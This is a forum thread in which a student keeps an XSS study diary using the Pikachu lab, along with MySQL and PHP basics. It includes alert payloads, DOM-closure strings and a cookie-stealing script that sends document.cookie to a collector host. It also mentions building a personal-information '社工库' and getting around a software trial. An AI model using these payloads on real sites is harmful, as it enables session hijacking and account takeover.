安全矩阵

 找回密码
 立即注册
搜索
楼主: only

曾玉芳学习日记

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-4 22:02:10 | 显示全部楼层
本帖最后由 only 于 2020-4-4 22:09 编辑

4月4日:
跨站脚本漏洞xss

在昨天结束了爆破的知识之后,今天主要开始学习xss,学习一种漏洞我们首先要了解的就是这种漏洞的基本概念和原理,因此我们首先应该来认识一下xss漏洞是什么
00×01 xss简介
据了解可知,xss漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直处于前三的江湖地位。这种漏洞是一种发生在前端的漏洞,所以他危害的对象也主要是前端用户。那么xss漏洞作用于何处呢?
xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie的获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制


00×02 xss的攻击流程
那xss的攻击流程是怎样的呢?我们借助一张图来对这个有一个更好的理解

首先,攻击者发现一个存在xss漏洞的网站,用户可以通过根据xss漏洞的类型写一段恶意的js代码插入到该网站的某个页面,然后等待用户访问该页面,一旦用户访问该页面就会触发这一段恶意的js代码,如果是获取cookie的话,用户端会向攻击者搭建的接口处发送用户的cookie,从而攻击者可以伪装用户登录


00×03 xss的类型
xss一般有三种比较常见的类型
1.反射型
攻击者不能将数据存在数据库里面,是一次性的,所见即所得,一般出现在查询类页面
2,存储型
攻击者的数据会被存储在数据库中,永久性存储,一般出现在留言板,注册等页面
3.DOM型
不与后台服务器产生的数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
危害:存储型>反射型>DOM型


00×04 xss漏洞形成的原因
形成xss漏洞的主要原因是程序对输入和输出的控制不严格,导致“精心构造”的脚本输入后,在输到前段时被浏览器当作有效代码解析执行从而产生危害


00×05 xss漏洞测试流程
1.在目标站点上找到输入点,比如查询接口,留言板等
2.输入一组“特殊字符+唯一识别字符”(这里的特殊字符一般是:‘ ‘ ’、‘ “” ‘、’<>‘、’/‘、’=‘、’:‘、’()‘、’#‘、’&‘、’%‘等),点击提交后,查看返回的代码,是否有做对应的处理
3.通过搜素定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在xss漏洞


注:
1.一般查询接口容易出现反射型xss,留言板容易出现存储型xss
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器)
3.通过变化不同的script,尝试绕过后台过滤机制


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-5 22:48:19 | 显示全部楼层
本帖最后由 only 于 2020-4-5 22:50 编辑

4月5日:
反射型的xss(get)弹窗

为了对xss漏洞有更好的了解,今天我通过一个简单的反射型的xss(get)弹窗来再次认识一下xss漏洞,借助“皮卡丘”来完成

首先,根据我们昨天的思路,我们应该确认该页面是否存在xss漏洞,可以先输入一组“特殊字符+唯一识别字符”,提交后查看返回代码是否有对其进行处理来判断
当我输入“ “<1234 ”,再点击submit后,我们发现显示who is “<1234,i don’t care!

根据之前的思路,我们查看源码,然后ctrl+F查找我们的识别字符“1234”

我们可以看见,我们输入的内容全部被输出在HTML的<p>标签当中,那么我们可以猜想,是否我们输入一段js代码也会被执行呢?
我输入了一个简单的js代码来测试一下

我发现当我输入<script>ale</script>时长度就限制了,于是我们可以打开控制台,手动修改输入框的长度,将“20”->“10000”,然后再输入框中输入<script>alert(‘zengyufang’)</script>于是我们可以看见我们输入的js语句已经被执行

而这个其实就是一个反射型的xss,反射型的xss在这个过程中是一次性的,也就是说从输入到输出这个过程是不会被存储的,所以当我们刷新一次,输入内容就会清空
那么,这个反射型xss一般会如何利用呢?
我们要知道的是,当我们输入<script>alert(‘zengyufang’)</script>然后点击submit后,他是通过get方式提交到后台,也就是将我们url的message后面的提交到后台

所以当我们用浏览器打开这段url,我们刚刚的输入就会被重新执行
因此,我们如果在知名网站上发现了反射型xss漏洞,我们就可以构造一个js代码,并将url链接发送给我们的目标,当受害者发现该url的域名和平常使用的差不多,便会毫无疑心的点击链接,而我们就会通过执行的js代码获得我们想要的信息


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-7 22:23:52 | 显示全部楼层
本帖最后由 only 于 2020-4-8 11:38 编辑

4月7日:
存储型xss和DOM型xss

我们知道,反射型xss是一种一次性的,是不会存储在数据库中的,而今天要了解的存储型xss和这个正好相反,这个是可以永久存在数据库中的,我们接著一个小例子来对他有个更好的了解

首先看到一个留言框,我们发现输入的东西都会被存在留言列表并且即使刷新也不会删除

于是,利用之前反射型xss的方法,我们判断是否存在xss漏洞,在留言栏中输入特殊字符+识别字符然后搜索

我们可以发现和反射型xss一样,输入字符被打印在HTML的<p>标签中,于是我们尝试让他弹出一个框

我们输入<script>alert('zengyufang,加油!')</script>,可以发现成功弹窗,因此存在存储型xss漏洞,而反射型和存储型的区别就在于能否存储到数据库中,而存储型的xss危害更大,所有访问该页面的用户都会中招,而且永久存在
接下来了解一下DOM型的xss
那么什么是DOM呢?
我们知道在html里面有一个DOM树,而DOM型xss就是利用这个DOM树的功能,对html中的各种标签进行修改
我们还是通过例子来对其更进一步了解,首先是一个输入框,我们输入1111,,然后点击click,
下面出现一段文字”what do you see?”

我们同样的查看源码并对其进行分析

what do you see是存在于一段js代码中,首先令一个str来获取text里面的元素然后在拼接到了<a>标签的href属性里面,最后写到了<div id=dom>这个标签里面
接下来判断是否存在漏洞,其实和之前两种是一样的,但是我们要明白DOM型xss是纯HTML操作,不经过后台输出的
我们要做的就是构造一个闭合来执行我们预期的代码
  1. <a href='"+str+"'>what do you see?</a>
复制代码

构造闭合如下:
  1. <a href='#' onclick="alert(1234)">'>what do you see?</a>
复制代码

我们将前面的<a>标签已经闭合,接下来</a>就是正确的标签
我们将构造的闭合输入输入框

按照预期,我们点击>会出现弹框’1234’

最后我们发现如预期料想一样,因此存在漏洞


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-8 21:35:22 | 显示全部楼层
本帖最后由 only 于 2020-4-8 21:37 编辑

4月8日:
通过xss获取cookie(get)

我们之前提到利用xss攻击来获取cookie,而今天我来操作真正的感受一次获取cookie的过程,首先我们来回顾一下xss的攻击流程

首先,攻击者发现一个存在xss漏洞的网站,用户可以通过根据xss漏洞的类型写一段恶意的js代码插入到该网站的某个页面,然后等待用户访问该页面,一旦用户访问该页面就会触发这一段恶意的js代码,如果是获取cookie的话,用户端会向攻击者搭建的接口处发送用户的cookie,从而攻击者可以伪装用户登录

我们今天的获取cookie还是利用pikachu后台来完成这个过程,我们先来看看接口的源码来并对其进行分析

查看源码我们发现这个的主要作用是来判断有没有发送一个cookie,如果发送了就将该cookie,referer等东西给保存下来,而后面有重定向就是在用户访问该页面之后重定向到一个用户可信的页面
接下来我们通过之前的反射型xss的get页面来进行接下来的过程

我们之前的操作是让他弹出一个框从而验证该页面存在xss漏洞,而今天要做的就是重新写过一个payload让我们获取到该页面的cookie
<script>document.location = ‘http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>
在输入框里面我们输入这一段payload之后,我们会发现界面切换到了首页

和我们预期的一样,接下来我们返回我们获取cookie的界面

刷新后我们发现,已经成功获取cookie


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-9 21:58:41 | 显示全部楼层
本帖最后由 only 于 2020-4-10 16:04 编辑

4月9日:
今天主要复习了一下sql语句创建表,以及用navicat管理数据库

首先用命令行打开mysql服务
  1. mysql -u root -p
复制代码
新建数据库
首先,我们创建一个数据库,给它一个名字,比如 mysql_shiyan,以后的几次实验也是对 mysql_shiyan 这个数据库进行操作。 语句格式为 CREATE DATABASE <数据库名字>;,(注意不要漏掉分号 ;),前面的 CREATE DATABASE 也可以使用小写,具体命令为:
  1. CREATE DATABASE mysql_shiyan;
复制代码

创建成功后输入命令 show databases; (注意不要漏掉;)检查一下:

在大多数系统中,SQL 语句都是不区分大小写的,因此以下语句都是合法的:
  1. CREATE DATABASE name1;
  2. create database name2;
  3. CREATE database name3;
  4. create DAtabaSE name4;
复制代码

但是出于严谨,而且便于区分保留字(保留字(reserved word):指在高级语言中已经定义过的字,使用者不能再将这些字作为变量名或过程名使用。)和变量名,我们把保留字大写,把变量和数据小写。

连接数据库
接下来的操作,就在刚才创建的 mysql_shiyan 中进行,由于一个系统中可能会有多个数据库,要确定当前是对哪一个数据库操作,使用语句 use <数据库名字>:
  1. use mysql_shiyan;
复制代码

输入命令 show tables; 可以查看当前数据库里有几张表
新建数据表
在数据库中新建一张表的语句格式为:
  1. CREATE TABLE 表的名字
  2. (
  3. 列名a 数据类型(数据长度),
  4. 列名b 数据类型(数据长度),
  5. 列名c 数据类型(数据长度)
  6. );
复制代码
我们尝试在 mysql_shiyan 中新建一张表 employee,包含ID,姓名 和电话信息,所以语句为:
  1. CREATE TABLE employee (id int(10),name char(20),phone int(12));
复制代码
然后通过show table可以看见添加的表

数据类型
在刚才新建表的过程中,我们提到了数据类型,MySQL 的数据类型和其他编程语言大同小异,下表是一些 MySQL 常用数据类型

整数除了 INT 外,还有 TINYINT、SMALLINT、MEDIUMINT、BIGINT。
     CHAR 和 VARCHAR 的区别: CHAR 的长度是固定的,而 VARCHAR 的长度是可以变化的,比如,存储字符串 “abc",对于 CHAR(10),表示存储的字符将占 10 个字节(包括 7 个空字符),而同样的 VARCHAR(12) 则只占用4个字节的长度,增加一个额外字节来存储字符串本身的长度,12 只是最大值,当你存储的字符小于 12 时,按实际长度存储。
     ENUM和SET的区别: ENUM 类型的数据的值,必须是定义时枚举的值的其中之一,即单选,而 SET 类型的值则可以多选。   

插入数据
刚才我们新建了两张表,使用语句 SELECT * FROM employee; 查看表中的内容,可以看到 employee 表中现在还是空的:
我们通过 INSERT 语句向表中插入数据,语句格式为:
  1. INSERT INTO 表的名字(列名a,列名b,列名c) VALUES(值1,值2,值3);
复制代码
我们尝试向 employee 中加入 Tom、Jack 和 Rose:
  1. INSERT INTO employee(id,name,phone) VALUES(01,'Tom',110110110);
  2. INSERT INTO employee VALUES(02,'Jack',119119119);
  3. INSERT INTO employee(id,name) VALUES(03,'Rose');
复制代码
你已经注意到了,有的数据需要用单引号括起来,比如 Tom、Jack、Rose 的名字,这是由于它们的数据类型是 CHAR 型。此外 VARCHAR,TEXT,DATE,TIME,ENUM 等类型的数据也需要单引号修饰,而 INT,FLOAT,DOUBLE等则不需要。 第一条语句比第二条语句多了一部分:(id,name,phone) 这个括号里列出的,是将要添加的数据 (01,'Tom',110110110) 其中每个值在表中对应的列。而第三条语句只添加了 (id,name) 两列的数据,所以在表中Rose的phone为NULL。
现在我们再次使用语句 SELECT * FROM employee; 查看 employee 表,可见 Tom 和 Jack 的相关数据已经保存在其中了

之后再通过navicat来管理数据库
用这种办法我们可以建立一个包含大家信息的社工库

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-10 16:41:09 | 显示全部楼层
本帖最后由 only 于 2020-4-20 14:12 编辑

4月10日:
今天的主要任务是用navicat创建一个数据库存储各种信息,首先面临的第一个问题就是navicat过期问题,经过百度我成功找到了解决办法

这种方法只能延长14天,因此每经过14天就要重新操作还是有点麻烦的
接下来我们来创建数据库,首先要打开xampp的MySQL服务,然后打开navicat连接到MySQL

连接名自拟,主机为localhost,端口默认3306,用户名密码默认为root
连接好之后,我们右键->新建数据库,之后新建表,然后输入表中应该包含的数据,而我简单的建了一个表,主要包含姓名,QQ,联系电话,之后选择对应的数据类型
下面这个表是对应的一些数据类型及其用途

创建成功之后不能忘记保存,然后我们查看表就会看见我们建立的数据表了
之后要做的主要是将数据填进去,在这个过程中,还遇到一个问题,就是编码不一致导致中文的姓名在数据库里变成了问号,百度了解决办法

只需要将字符集和排序规则分别改为“utf8”和”utf8_general_ci”即可
之后我们查看我们已经建好的表

为了温习一下sql语句,我们接下来用命令行来查看我们所建立好的数据库
首先连接MySQL
  1. mysql -u root -p
复制代码

一般默认密码为root或者空,然后我们查看数据库
  1. show databases;
复制代码

可以显示我们的数据库

然后找到我们刚刚建的数据库(我的是test)
  1. use test;
复制代码

我们就可以使用数据库,然后我们查看该数据库里的表
  1. show tables;
复制代码


可以看见我们刚刚新建的表,然后我们查看表中内容
  1. select * from information;
复制代码


我们就可以看见,刚刚的表已经成功创建,我们也可以用类似的方法在数据表里面插入更多的信息!
在这个过程中,很多同学都因为连接不上mysql止步于此,于是我找到了连接不上MySQL的解决办法

出现这个问题很可能是mysql环境没有配置完成



由于信息需求过多,我们手动输入不太现实,但是有一种方法我们可以直接导入excel文件到我们建好的表里面
我们需要一张excel表去收集我们所需要的信息接下来就是导入了
在此之前,我们要注意一个问题,我们必须保证excel文件的列名和我们创建好的列名保持一致,一一对应才能导入正确
首先选中我们建好的表,点击导入向导

选择xlsx文件类型->下一步

选中要导入的文件,并且勾选我们需要导入的表->下一步




确认各个列名相同之后下一步(注意一定要相同!)

之后继续下一步,最后点击开始,当出现finish就是导入成功!
我们刷新来看一下结果

但在这个过程中我遇到了一个小问题,在导入excel表的时候,显示excel表无法打开,经过百度发现了2种方法
1.将excel表打开之后再导入(但是我试了没有用)
2. 缺少驱动,需要去微软官网下载AccessDatebaseEngine,位数必须和电脑位数保持一致(我的是64位)
链接:https://www.microsoft.com/zh-cn/ ... ation.aspx?id=13255
下载完之后再重新导入,即可成功!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-12 19:58:39 | 显示全部楼层
本帖最后由 only 于 2020-4-12 20:01 编辑

4月12日:
这两天主要把老师的任务完成了,这次的任务主要是让我们将之前所学的各种知识通过实际操作连贯起来,也算是对之前的知识的总结了
第一步建立好数据库这个之前的任务中已经完成(mysql知识点)
第二步设计出一个简单的查询界面,之前的练习只是用html+css来完成,而在这次的任务中,我加上了一些js动态效果

第三步连接数据库并且将查询可视化而这个就要用到我们学习过的php mysql知识点
通过输入“曾”我们即可实现模糊查询

查询如下:

将这些东西整合之后我发现,很多东西学起来和用起来是有很大的区别的,只有整整自己实际去操作一遍才知道哪些地方自己还不会还要去努力,完成任务只是第一步,我们应该在完成任务的基础上去创造一点东西,我们要做的是一个查询界面,或许我们还可以做出其他的界面去修改我们的数据库,去完善我们的任务!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-13 21:46:18 | 显示全部楼层
本帖最后由 only 于 2020-4-13 21:47 编辑

4月13日:
post型获取cookie

之前学习了get型获取cookie的方法,而今天主要是学习post型获取cookie,首先我们来了解一下整个过程是什么样的

我们可以发现,和之前的get型相比,多了一个过程。
在get型下面,我们直接把url发给用户,而在post型下面我们无法让用户去帮我们提交这个表单,所有我们面临的问题就是如何让用户去提交表单
我们的处理方法很简单,首先可以自己去打一个恶意的站点,然后在里面写一个post的表单,然后我们可以把我们写好的页面给用户访问,一旦用户进入页面,页面便会向存在漏洞的页面发送一个post请求,触发xss,而触发了之后,剩下的过程就和get型一样了
我们来分析一下我们写的页面的代码

也就是说,当用户访问该页面时,该页面会向存在漏洞的页面提交一个post请求
接下来我们模拟用户尝试一下,当用户点击那个链接时,我们会发现,和get型一样,界面跳到了首页

然后我们回到获取cookie的界面,我们可以发现已经成功获取cookie!



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-14 22:55:49 | 显示全部楼层
本帖最后由 only 于 2020-4-14 23:09 编辑

4月14日:在之前的学习中,用到了php连接书库的语法,经过实践才发现,之前的语句是以前的php5版本,因此在使用的过程中出现了很多问题,今天主要把之前的语法更新了一波
创建数据库
  1. <?php
  2. $servername = "localhost";
  3. $username = "username";
  4. $password = "password";

  5. // 创建连接
  6. $conn = new mysqli($servername, $username, $password);
  7. // 检测连接
  8. if ($conn->connect_error) {
  9.     die("连接失败: " . $conn->connect_error);
  10. }

  11. // 创建数据库
  12. $sql = "CREATE DATABASE myDB";
  13. if ($conn->query($sql) === TRUE) {
  14.     echo "数据库创建成功";
  15. } else {
  16.     echo "Error creating database: " . $conn->error;
  17. }

  18. $conn->close();
  19. ?>
复制代码
插入数据
  1. <?php
  2. $servername = "localhost";
  3. $username = "username";
  4. $password = "password";
  5. $dbname = "myDB";

  6. // 创建连接
  7. $conn = new mysqli($servername, $username, $password, $dbname);
  8. // 检测连接
  9. if ($conn->connect_error) {
  10.     die("连接失败: " . $conn->connect_error);
  11. }

  12. $sql = "INSERT INTO MyGuests (firstname, lastname, email)
  13. VALUES ('John', 'Doe', 'john@example.com')";

  14. if ($conn->query($sql) === TRUE) {
  15.     echo "新记录插入成功";
  16. } else {
  17.     echo "Error: " . $sql . "<br>" . $conn->error;
  18. }

  19. $conn->close();
  20. ?>
复制代码
PHP MySQL Where 子句

  1. <?php
  2. $con=mysqli_connect("localhost","username","password","database");
  3. // 检测连接
  4. if (mysqli_connect_errno())
  5. {
  6.     echo "连接失败: " . mysqli_connect_error();
  7. }

  8. $result = mysqli_query($con,"SELECT * FROM Persons
  9. WHERE FirstName='Peter'");

  10. while($row = mysqli_fetch_array($result))
  11. {
  12.     echo $row['FirstName'] . " " . $row['LastName'];
  13.     echo "<br>";
  14. }
  15. ?>
复制代码
PHP MySQL Order By 关键词

  1. <?php
  2. $con=mysqli_connect("localhost","username","password","database");
  3. // 检测连接
  4. if (mysqli_connect_errno())
  5. {
  6.     echo "连接失败: " . mysqli_connect_error();
  7. }

  8. $result = mysqli_query($con,"SELECT * FROM Persons ORDER BY age");

  9. while($row = mysqli_fetch_array($result))
  10. {
  11.     echo $row['FirstName'];
  12.     echo " " . $row['LastName'];
  13.     echo " " . $row['Age'];
  14.     echo "<br>";
  15. }

  16. mysqli_close($con);
  17. ?>
复制代码
PHP MySQL Delete
  1. <?php
  2. $con=mysqli_connect("localhost","username","password","database");
  3. // 检测连接
  4. if (mysqli_connect_errno())
  5. {
  6.     echo "连接失败: " . mysqli_connect_error();
  7. }

  8. mysqli_query($con,"DELETE FROM Persons WHERE LastName='Griffin'");

  9. mysqli_close($con);
  10. ?>
复制代码


回复

使用道具 举报

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
 楼主| 发表于 2020-4-16 18:40:26 | 显示全部楼层
本帖最后由 only 于 2020-4-16 18:42 编辑

4月16日:
XSS盲打


xss盲打其实不是一种xss漏洞类型,而是一种xss的攻击场景,那么在什么样的场景下我们需要用到xss盲打呢?今天主要对这个进行了了解并且通过,pikachu平台进行了相应的操作。


首先我们像之前的测试一样有两个输入框

我们同样的在两个输入框里面输入任意字符然后观察效果

然后我们点击提交

我们可以发现我们输入的内容没有被显示在任何地方,于是我们可以猜测我们输入的内容被输出在了管理员后台,我们再次尝试用一段js代码弹框

在点击提交后,我们发现和之前点击之后的界面一样。
于是,我点击提示

他让我们进入管理员后台看看会发生什么
首先弹出一个登录框,我们输入管理员密码登录之后

可以发现我们在前端输入的东西全部在管理员后台输出
这种攻击方式的危害还是很大的,因为攻击者可以在前端输入一段恶意代码,为了获取管理员登陆的cookie,只要管理员登陆,代码执行了之后攻击者就可以很轻易的获取到管理员的cookie,从而可以登录管理员后台,而进入后台之后,权限就很大了。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:46 , Processed in 0.019959 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表